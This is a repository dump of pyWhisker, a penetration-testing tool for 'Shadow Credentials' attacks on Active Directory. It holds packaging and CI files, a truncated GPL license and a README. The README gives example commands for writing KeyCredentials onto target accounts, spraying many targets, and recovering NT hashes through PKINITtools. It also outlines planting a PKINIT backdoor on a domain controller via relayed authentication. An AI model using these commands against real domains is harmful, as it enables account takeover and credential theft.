├── pywhisker
├── __init__.py
└── pywhisker.py
├── .assets
├── clear.png
├── relay.png
├── add_pem.png
├── add_pfx.png
├── export.png
├── import.png
├── remove.png
├── list_info.png
├── add_pem_gettgtnthash.png
├── add_pfx_gettgtnthash.png
├── user_cant_self_edit.png
└── computers_can_self_edit.png
├── pyproject.toml
├── requirements.txt
├── .gitignore
├── .github
├── FUNDING.yml
└── workflows
│ └── ci.yml
├── setup.py
├── README.md
└── LICENSE
/pywhisker/__init__.py:
--------------------------------------------------------------------------------
1 | from .pywhisker import main
--------------------------------------------------------------------------------
/.assets/clear.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ShutdownRepo/pywhisker/HEAD/.assets/clear.png
--------------------------------------------------------------------------------
/.assets/relay.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ShutdownRepo/pywhisker/HEAD/.assets/relay.png
--------------------------------------------------------------------------------
/.assets/add_pem.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ShutdownRepo/pywhisker/HEAD/.assets/add_pem.png
--------------------------------------------------------------------------------
/.assets/add_pfx.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ShutdownRepo/pywhisker/HEAD/.assets/add_pfx.png
--------------------------------------------------------------------------------
/.assets/export.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ShutdownRepo/pywhisker/HEAD/.assets/export.png
--------------------------------------------------------------------------------
/.assets/import.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ShutdownRepo/pywhisker/HEAD/.assets/import.png
--------------------------------------------------------------------------------
/.assets/remove.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ShutdownRepo/pywhisker/HEAD/.assets/remove.png
--------------------------------------------------------------------------------
/.assets/list_info.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ShutdownRepo/pywhisker/HEAD/.assets/list_info.png
--------------------------------------------------------------------------------
/pyproject.toml:
--------------------------------------------------------------------------------
1 | [build-system]
2 | requires = ["setuptools>=45", "wheel"]
3 | build-backend = "setuptools.build_meta"
--------------------------------------------------------------------------------
/.assets/add_pem_gettgtnthash.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ShutdownRepo/pywhisker/HEAD/.assets/add_pem_gettgtnthash.png
--------------------------------------------------------------------------------
/.assets/add_pfx_gettgtnthash.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ShutdownRepo/pywhisker/HEAD/.assets/add_pfx_gettgtnthash.png
--------------------------------------------------------------------------------
/.assets/user_cant_self_edit.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ShutdownRepo/pywhisker/HEAD/.assets/user_cant_self_edit.png
--------------------------------------------------------------------------------
/.assets/computers_can_self_edit.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ShutdownRepo/pywhisker/HEAD/.assets/computers_can_self_edit.png
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | impacket
2 | cryptography
3 | six
4 | pyasn1
5 | ldap3
6 | ldapdomaindump
7 | rich
8 | setuptools
9 | dsinternals
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # PyCharm and Python workspace
2 | .idea/
3 | venv
4 |
5 | # Build logs for debugging
6 | .build.log
7 |
8 | # Build outputs
9 | *.egg-info/
10 | dist/
11 | build/
--------------------------------------------------------------------------------
/.github/FUNDING.yml:
--------------------------------------------------------------------------------
1 | # These are supported funding model platforms
2 |
3 | github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2]
4 | patreon: nwodtuhs
5 | open_collective: # Replace with a single Open Collective username
6 | ko_fi: # Replace with a single Ko-fi username
7 | tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel
8 | community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry
9 | liberapay: # Replace with a single Liberapay username
10 | issuehunt: # Replace with a single IssueHunt username
11 | otechie: # Replace with a single Otechie username
12 | custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2']
13 |
--------------------------------------------------------------------------------
/.github/workflows/ci.yml:
--------------------------------------------------------------------------------
1 | name: CI
2 |
3 | on:
4 | push:
5 | branches: [ main ]
6 | pull_request:
7 | branches: [ main ]
8 |
9 | jobs:
10 | build:
11 | runs-on: ubuntu-latest
12 |
13 | steps:
14 | - name: Checkout code
15 | uses: actions/checkout@v4
16 |
17 | - name: Set up Python
18 | uses: actions/setup-python@v5
19 | with:
20 | python-version: '3.13'
21 |
22 | - name: Install dependencies from source
23 | run: |
24 | python -m pip install --upgrade pip
25 | pip install -r requirements.txt
26 |
27 | - name: Execute test command from source
28 | run: |
29 | python3 pywhisker/pywhisker.py --help
30 |
31 | - name: Install package with pipx
32 | run: |
33 | python3 -m pip install --user pipx
34 | python3 -m pipx ensurepath
35 | pipx install .
36 |
37 | - name: Execute test command with pipx
38 | run: |
39 | pywhisker --help
--------------------------------------------------------------------------------
/setup.py:
--------------------------------------------------------------------------------
1 | from setuptools import setup, find_packages
2 |
3 | with open("README.md", "r", encoding="utf-8") as fh:
4 | long_description = fh.read()
5 |
6 | setup(
7 | name="pywhisker",
8 | version="0.1.0",
9 | author="Charlie Bromberg & Podalirius",
10 | author_email="",
11 | description="Python (re)setter for property msDS-KeyCredentialLink for Shadow Credentials attacks",
12 | long_description=long_description,
13 | long_description_content_type="text/markdown",
14 | url="https://github.com/ShutdownRepo/pywhisker",
15 | packages=find_packages(),
16 | install_requires=[
17 | "impacket",
18 | "ldap3",
19 | "ldapdomaindump",
20 | "dsinternals",
21 | "rich",
22 | ],
23 | classifiers=[
24 | "Programming Language :: Python :: 3",
25 | "License :: OSI Approved :: GNU General Public License v3 (GPLv3)",
26 | "Operating System :: OS Independent",
27 | ],
28 | python_requires=">=3.6",
29 | entry_points={
30 | "console_scripts": [
31 | "pywhisker=pywhisker.pywhisker:main",
32 | ],
33 | },
34 | )
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # pyWhisker
2 |
3 | pyWhisker is a Python equivalent of the original [Whisker](https://github.com/eladshamir/Whisker) made by [Elad Shamir](https://twitter.com/elad_shamir) and written in C#. This tool allows users to manipulate the `msDS-KeyCredentialLink` attribute of a target user/computer to obtain full control over that object.
4 | It's based on [Impacket](https://github.com/SecureAuthCorp/impacket) and on a Python equivalent of [Michael Grafnetter's](https://twitter.com/MGrafnetter) [DSInternals](https://github.com/MichaelGrafnetter/DSInternals) called [PyDSInternals](https://github.com/p0dalirius/pydsinternals) made by [podalirius](https://twitter.com/podalirius_).
5 | This tool, along with [Dirk-jan's](https://twitter.com/_dirkjan) [PKINITtools](https://github.com/dirkjanm/PKINITtools) allow for a complete primitive exploitation on UNIX-based systems only.
6 |
7 | **Pre-requisites** for this attack are as follows:
8 | 1. The target Domain Functional Level must be **Windows Server 2016** or above.
9 | 2. The target domain must have at least one Domain Controller running Windows Server 2016 or above.
10 | 3. The Domain Controller to use during the attack must have its own certificate and keys (this means either the organization must have AD CS, or a PKI, a CA or something alike).
11 | 4. The attacker must have control over an account able to write the `msDs-KeyCredentialLink` attribute of the target user or computer account.
12 |
13 | Why some pre-reqs?
14 | - Pre-reqs 1 and 2 because the PKINIT features were introduced with Windows Server 2016.
15 | - Pre-req 3 because the DC needs its own certificate and keys for the session key exchange during the `AS_REQ <-> AS_REP` transaction.
16 |
17 | A `KRB-ERROR (16) : KDC_ERR_PADATA_TYPE_NOSUPP` will be raised if pre-req 3 is not met.
18 |
19 | More information about this "Shadow Credentials" primitive:
20 | - [Shadow Credentials: Abusing Key Trust Account Mapping for Takeover](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)
21 | - [The Hacker Recipes - ACEs abuse](https://www.thehacker.recipes/active-directory-domain-services/movement/access-control-entries)
22 | - [The Hacker Recipes - Shadow Credentials](https://www.thehacker.recipes/active-directory-domain-services/movement/access-control-entries/shadow-credentials)
23 |
24 | # Usage
25 |
26 | pyWhisker can be used to operate various actions on the msDs-KeyCredentialLink attribute of a target:
27 | - [list](https://github.com/ShutdownRepo/pywhisker#list-and-get-info): list all current KeyCredentials ID and creation time
28 | - [add](https://github.com/ShutdownRepo/pywhisker#add-new-values): add a new KeyCredential to the `msDs-KeyCredentialLink`
29 | - [spray](https://github.com/ShutdownRepo/pywhisker#spray-new-values): spray adding a new KeyCredential to the `msDs-KeyCredentialLink`
30 | - [remove](https://github.com/ShutdownRepo/pywhisker#clear-and-remove): remove a KeyCredential from the `msDs-KeyCredentialLink`
31 | - [clear](https://github.com/ShutdownRepo/pywhisker#clear-and-remove): remove all KeyCredentials from the `msDs-KeyCredentialLink`
32 | - [info](https://github.com/ShutdownRepo/pywhisker#list-and-get-info): print all info contained in a KeyCredential structure
33 | - [export](https://github.com/ShutdownRepo/pywhisker#import-and-export): export all KeyCredentials from the `msDs-KeyCredentialLink` in JSON
34 | - [import](https://github.com/ShutdownRepo/pywhisker#import-and-export): overwrite the `msDs-KeyCredentialLink` with KeyCredentials from a JSON file
35 |
36 | pyWhisker supports the following authentications:
37 | - (NTLM) Cleartext password
38 | - (NTLM) [Pass-the-hash](https://www.thehacker.recipes/active-directory-domain-services/movement/lm-and-ntlm/pass-the-hash)
39 | - (Kerberos) Cleartext password
40 | - (Kerberos) [Pass-the-key](https://www.thehacker.recipes/active-directory-domain-services/movement/kerberos/pass-the-key) / [Overpass-the-hash](https://www.thehacker.recipes/active-directory-domain-services/movement/kerberos/overpass-the-hash)
41 | - (Kerberos) [Pass-the-cache](https://www.thehacker.recipes/active-directory-domain-services/movement/kerberos/pass-the-cache) (type of [Pass-the-ticket](https://www.thehacker.recipes/active-directory-domain-services/movement/kerberos/pass-the-ticket))
42 | - (LDAP over Schannel) [Pass-the-cert](https://www.thehacker.recipes/ad/movement/schannel/passthecert)
43 |
44 | Among other things, pyWhisker supports multi-level verbosity, just append `-v`, `-vv`, ... to the command :)
45 |
46 | pyWhisker can also do cross-domain, see the `-td/--target-domain` argument.
47 |
48 | ```
49 | usage: pywhisker [-h] (-t TARGET_SAMNAME | -tl TARGET_SAMNAME_LIST) [-a [{list,add,spray,remove,clear,info,export,import}]] [--use-ldaps] [--use-schannel] [-v] [-q]
50 | [--dc-ip ip address] [-d DOMAIN] [-u USER] [-crt CERTFILE] [-key KEYFILE] [-td TARGET_DOMAIN] [--no-pass | -p PASSWORD | -H [LMHASH:]NTHASH | --aes-key hex key]
51 | [-k] [-P PFX_PASSWORD] [-f FILENAME] [-e {PEM,PFX}] [-D DEVICE_ID]
52 |
53 | Python (re)setter for property msDS-KeyCredentialLink for Shadow Credentials attacks.
54 |
55 | optional arguments:
56 | -h, --help show this help message and exit
57 | -t TARGET_SAMNAME, --target TARGET_SAMNAME
58 | Target account
59 | -tl TARGET_SAMNAME_LIST, --target-list TARGET_SAMNAME_LIST
60 | Path to a file with target accounts names (one per line)
61 | -a [{list,add,spray,remove,clear,info,export,import}], --action [{list,add,spray,remove,clear,info,export,import}]
62 | Action to operate on msDS-KeyCredentialLink
63 | --use-ldaps Use LDAPS instead of LDAP
64 | --use-schannel Use LDAP Schannel (TLS) for certificate-based authentication
65 | -v, --verbose verbosity level (-v for verbose, -vv for debug)
66 | -q, --quiet show no information at all
67 |
68 | authentication & connection:
69 | --dc-ip ip address IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter
70 | -d DOMAIN, --domain DOMAIN
71 | (FQDN) domain to authenticate to
72 | -u USER, --user USER user to authenticate with
73 | -crt, --certfile CERTFILE
74 | Path to the user certificate (PEM format) for Schannel authentication
75 | -key, --keyfile KEYFILE
76 | Path to the user private key (PEM format) for Schannel authentication
77 | -td TARGET_DOMAIN, --target-domain TARGET_DOMAIN
78 | Target domain (if different than the domain of the authenticating user)
79 |
80 | --no-pass don't ask for password (useful for -k)
81 | -p PASSWORD, --password PASSWORD
82 | password to authenticate with
83 | -H [LMHASH:]NTHASH, --hashes [LMHASH:]NTHASH
84 | NT/LM hashes, format is LMhash:NThash
85 | --aes-key hex key AES key to use for Kerberos Authentication (128 or 256 bits)
86 | -k, --kerberos Use Kerberos authentication. Grabs credentials from .ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones
87 | specified in the command line
88 |
89 | arguments when setting -action to add:
90 | -P PFX_PASSWORD, --pfx-password PFX_PASSWORD
91 | password for the PFX stored self-signed certificate (will be random if not set, not needed when exporting to PEM)
92 | -f FILENAME, --filename FILENAME
93 | filename to store the generated self-signed PEM or PFX certificate and key, or filename for the "import"/"export" actions
94 | -e {PEM,PFX}, --export {PEM,PFX}
95 | choose to export cert+private key in PEM or PFX (i.e. #PKCS12) (default: PFX))
96 |
97 | arguments when setting -action to remove:
98 | -D DEVICE_ID, --device-id DEVICE_ID
99 | device ID of the KeyCredentialLink to remove when setting -action to remove
100 | ```
101 |
102 | Below are examples and screenshots of what pyWhisker can do.
103 |
104 | ## List and get info
105 |
106 | pyWhisker has the ability to list existing KeyCredentials. In addition to that, it can unfold the whole structure to show every piece of information that object contains (including the RSA public key parameters).
107 |
108 | ```shell
109 | python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
110 | python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "info" --device-id 6419739b-ff90-f5c7-0737-1331daeb7db6
111 | ```
112 |
113 | 
114 |
115 | ## Clear and remove
116 |
117 | pyWhisker has the ability to remove specific values or clear the whole attribute.
118 |
119 | ```shell
120 | python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "remove" --device-id a8ce856e-9b58-61f9-8fd3-b079689eb46e
121 | ```
122 |
123 | 
124 |
125 | ```shell
126 | python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "clear"
127 | ```
128 |
129 | 
130 |
131 | ## Add new values
132 |
133 | pyWhisker has the ability to generate RSA keys, a X509 certificate, a KeyCredential structure, and to write the necessary information as new values of the `msDs-KeyCredentialLink` attribute. The certificate can be exported in a PFX format (#PKCS12, certificate + private key protected with a password) or in a PEM format (PEM certificate, PEM private key, no password needed).
134 |
135 | ### Example with the PFX format
136 |
137 | ```shell
138 | python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename test1
139 | ```
140 |
141 | 
142 |
143 | Once the values are generated and added by pyWhisker, a TGT can be request with [gettgtpkinit.py](https://github.com/dirkjanm/PKINITtools/blob/master/gettgtpkinit.py). The NT hash can then be recovered with [getnthash.py](https://github.com/dirkjanm/PKINITtools/blob/master/getnthash.py).
144 |
145 | ```shell
146 | python3 PKINITtools/gettgtpkinit.py -cert-pfx test1.pfx -pfx-pass xl6RyLBLqdhBlCTHJF3R domain.local/user2 user2.ccache
147 | python3 PKINITtools/getnthash.py -key f4d6738897808edd3868fa8c60f147366c41016df623de048d600d4e2f156aa9 domain.local/user2
148 | ```
149 |
150 | 
151 |
152 | ### Example with the PEM format
153 |
154 | ```shell
155 | python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename test2 --export PEM
156 | ```
157 |
158 | 
159 |
160 | Once the values are generated and added by pyWhisker, a TGT can be request with [gettgtpkinit.py](https://github.com/dirkjanm/PKINITtools/blob/master/gettgtpkinit.py). The NT hash can then be recovered with [getnthash.py](https://github.com/dirkjanm/PKINITtools/blob/master/getnthash.py).
161 |
162 | ```shell
163 | python3 PKINITtools/gettgtpkinit.py -cert-pem test2_cert.pem -key-pem test2_priv.pem domain.local/user2 user2.ccache
164 | python3 PKINITtools/getnthash.py -key 894fde81fb7cf87963e4bda9e9e288536a0508a1553f15fdf24731731cecad16 domain.local/user2
165 | ```
166 |
167 | 
168 |
169 | ## Spray new values
170 | pyWhisker can chain multiple KeyCredentials additions, to a set of targets, i.e. spray (if the credentials used have the right permissions).
171 |
172 | ```shell
173 | python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target-list targetlist.txt --action "spray"
174 | ```
175 |
176 | ## Import and export
177 |
178 | KeyCredentials stored in the `msDs-KeyCredentialLink` attribute can be parsed, structured and saved as JSON.
179 |
180 | 
181 |
182 | The JSON export can then be used to restore the `msDs-KeyCredentialLink` attribute in the state it was at the time of export.
183 |
184 | 
185 |
186 | # Relayed authentication
187 |
188 | [A Pull Request](https://github.com/fortra/impacket/pull/1249) was merged into ntlmrelayx to include pyWhisker's "adding" feature.
189 |
190 | 
191 |
192 | # Useful knowledge
193 |
194 | User objects can't edit their own `msDS-KeyCredentialLink` attribute. However, **computer objects can**. This means the following scenario could work: trigger an NTLM authentication from DC01, relay it to DC02, make pyWhisker edit DC01's attribute to create a Kerberos PKINIT pre-authentication backdoor on it.
195 |
196 | 
197 |
198 | Computer objects can edit their own `msDS-KeyCredentialLink` attribute but **can only add a KeyCredential if none already exists**.
199 |
200 | 
201 |
202 | If you encounter errors, make sure there is no time skew between your attacker host and the Key Distribution Center (usually the Domain Controller). In order to avoid that error, the certificates generated by the pyWhisker tool are valid 40 years before the current date and 40 years after.
203 |
204 | # Credits and references
205 |
206 | - Credits to [Dirk-jan](https://twitter.com/_dirkjan) for his work on [PKINITtools](https://github.com/dirkjanm/PKINITtools/). We initially planned on refactoring Impacket scripts (especially [gettgt.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/getTGT.py)) to implement asymmetric PKINIT pre-authentication for Kerberos. He saved us a huge deal of headaches by writing it before us!
207 |
208 | - Credits to the whole team behind [Impacket](https://github.com/SecureAuthCorp/impacket/) and its contributors.
209 |
210 | - Credits to [Elad Shamir](https://twitter.com/elad_shamir) who created the original C# tool ([Whisker](https://github.com/eladshamir/Whisker)) and to [Michael Grafnetter's](https://twitter.com/MGrafnetter) who made [DSInternals](https://github.com/MichaelGrafnetter/DSInternals), a library doing most of Whisker's heavy lifting. He also was the one who made the original Black Hat demo presenting the attack primitive.
211 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you legal permission to copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. To prevent this, the GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 |
179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 |
181 | No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 |
187 | When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 |
195 | 4. Conveying Verbatim Copies.
196 |
197 | You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 |
205 | You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 |
208 | 5. Conveying Modified Source Versions.
209 |
210 | You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 |
214 | a) The work must carry prominent notices stating that you modified
215 | it, and giving a relevant date.
216 |
217 | b) The work must carry prominent notices stating that it is
218 | released under this License and any conditions added under section
219 | 7. This requirement modifies the requirement in section 4 to
220 | "keep intact all notices".
221 |
222 | c) You must license the entire work, as a whole, under this
223 | License to anyone who comes into possession of a copy. This
224 | License will therefore apply, along with any applicable section 7
225 | additional terms, to the whole of the work, and all its parts,
226 | regardless of how they are packaged. This License gives no
227 | permission to license the work in any other way, but it does not
228 | invalidate such permission if you have separately received it.
229 |
230 | d) If the work has interactive user interfaces, each must display
231 | Appropriate Legal Notices; however, if the Program has interactive
232 | interfaces that do not display Appropriate Legal Notices, your
233 | work need not make them do so.
234 |
235 | A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit. Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 |
245 | 6. Conveying Non-Source Forms.
246 |
247 | You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 |
252 | a) Convey the object code in, or embodied in, a physical product
253 | (including a physical distribution medium), accompanied by the
254 | Corresponding Source fixed on a durable physical medium
255 | customarily used for software interchange.
256 |
257 | b) Convey the object code in, or embodied in, a physical product
258 | (including a physical distribution medium), accompanied by a
259 | written offer, valid for at least three years and valid for as
260 | long as you offer spare parts or customer support for that product
261 | model, to give anyone who possesses the object code either (1) a
262 | copy of the Corresponding Source for all the software in the
263 | product that is covered by this License, on a durable physical
264 | medium customarily used for software interchange, for a price no
265 | more than your reasonable cost of physically performing this
266 | conveying of source, or (2) access to copy the
267 | Corresponding Source from a network server at no charge.
268 |
269 | c) Convey individual copies of the object code with a copy of the
270 | written offer to provide the Corresponding Source. This
271 | alternative is allowed only occasionally and noncommercially, and
272 | only if you received the object code with such an offer, in accord
273 | with subsection 6b.
274 |
275 | d) Convey the object code by offering access from a designated
276 | place (gratis or for a charge), and offer equivalent access to the
277 | Corresponding Source in the same way through the same place at no
278 | further charge. You need not require recipients to copy the
279 | Corresponding Source along with the object code. If the place to
280 | copy the object code is a network server, the Corresponding Source
281 | may be on a different server (operated by you or a third party)
282 | that supports equivalent copying facilities, provided you maintain
283 | clear directions next to the object code saying where to find the
284 | Corresponding Source. Regardless of what server hosts the
285 | Corresponding Source, you remain obligated to ensure that it is
286 | available for as long as needed to satisfy these requirements.
287 |
288 | e) Convey the object code using peer-to-peer transmission, provided
289 | you inform other peers where the object code and Corresponding
290 | Source of the work are being offered to the general public at no
291 | charge under subsection 6d.
292 |
293 | A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 |
297 | A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling. In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage. For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product. A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 |
310 | "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source. The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 |
318 | If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information. But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
